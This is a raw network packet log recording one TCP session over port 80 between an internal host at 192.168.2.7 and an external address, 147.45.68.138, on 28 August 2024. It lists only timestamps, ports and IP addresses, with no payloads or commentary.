Aug 28, 2024 22:55:52.180905104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180916071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180927038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180934906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.180955887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.180984974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198471069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198488951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198499918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198510885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198522091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198533058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198544025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198566914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198584080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198745012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198791981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198858976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198884010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198894978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198904037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198918104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198924065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.198942900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.198960066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.199470043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.199480057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.199491024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.199498892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.199526072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.199552059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.203983068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.203999996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.204025030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.204035044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.204045057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.204060078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.204104900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.204104900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.204108000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.204118967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.204130888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.204159975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.204159975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.204185963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.217082024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217108011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217118025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217154980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217168093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.217175007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217186928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217197895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217201948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.217211008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217222929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.217225075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.217238903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.217256069 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.218050003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.218060970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.218070984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.218105078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.218106031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.218116045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.218125105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.218126059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.218151093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.218166113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.220654011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220679045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220690966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220711946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.220725060 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.220793962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220803976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220819950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220876932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220889091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.220999956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.225522995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225534916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225544930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225555897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225589991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.225605965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.225692034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225720882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225730896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225739002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.225742102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.225770950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.225790024 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.230010986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230022907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230032921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230067968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.230079889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.230087996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230130911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.230156898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230174065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230185032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230195045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.230201960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.230216980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.230230093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.235091925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235104084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235115051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235153913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.235174894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.235240936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235253096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235264063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235292912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.235299110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235310078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.235337973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.235338926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.235369921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.239099026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239109039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239149094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239156008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.239160061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239170074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239191055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.239208937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.239442110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239490032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.239494085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239505053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239514112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.239532948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.239547014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.244489908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244503975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244513035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244604111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.244668961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244680882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244690895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244699955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244713068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.244713068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.244714022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.244740963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.244764090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.248784065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248802900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248819113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248836040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248847008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248859882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.248886108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.248892069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248893023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.248903036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248914003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.248936892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.248946905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.252948999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.252985954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.252996922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.253024101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.253043890 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.253065109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.253072023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.253076077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.253087044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.253102064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.253107071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.253122091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.253144979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.258178949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258239031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.258280039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258289099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258318901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.258346081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258357048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258366108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258394957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.258425951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.258799076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258810043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.258904934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261665106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261706114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261720896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261725903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261737108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261750937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261765957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261768103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261775970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261785030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261795998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261801958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261806011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.261816978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261831045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.261845112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.267585993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.267642975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.267708063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.267719030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.267729998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.267739058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.267750025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.267756939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.267776012 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.267795086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.267947912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.267998934 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305113077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305130005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305154085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305164099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305176020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305177927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305191040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305197001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305203915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305223942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305239916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305635929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305648088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305659056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305687904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305687904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305702925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305713892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305726051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305730104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305737019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.305747032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305764914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.305783987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.306757927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.306785107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.306796074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.306813955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.306816101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.306819916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.306828022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.306843042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.306854010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.306854963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.306875944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.306893110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.307426929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.307452917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.307463884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.307487965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.307543993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.307563066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.307573080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.307575941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.307588100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.307591915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.307614088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.307637930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.308389902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.308401108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.308410883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.308444023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.308444977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.308453083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.308455944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.308465958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.308489084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.308510065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.309140921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.309153080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.309164047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.309175014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.309185982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.309190989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.309196949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.309209108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.309209108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.309231997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.309252977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317570925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317588091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317600965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317619085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317631006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317632914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317655087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317668915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317681074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317682981 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317699909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317707062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317723989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317728043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317740917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317742109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317751884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317763090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317775011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317775011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317786932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.317795992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317816973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.317831993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.322058916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322113991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.322114944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322127104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322155952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.322166920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.322199106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322211981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322233915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322236061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.322244883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322257042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.322263002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.322278976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.322309017 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331479073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331490993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331511021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331526041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331537962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331549883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.331562042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331573963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.331588984 CEST	49731	80	192.168.2.7	147.45.68.138
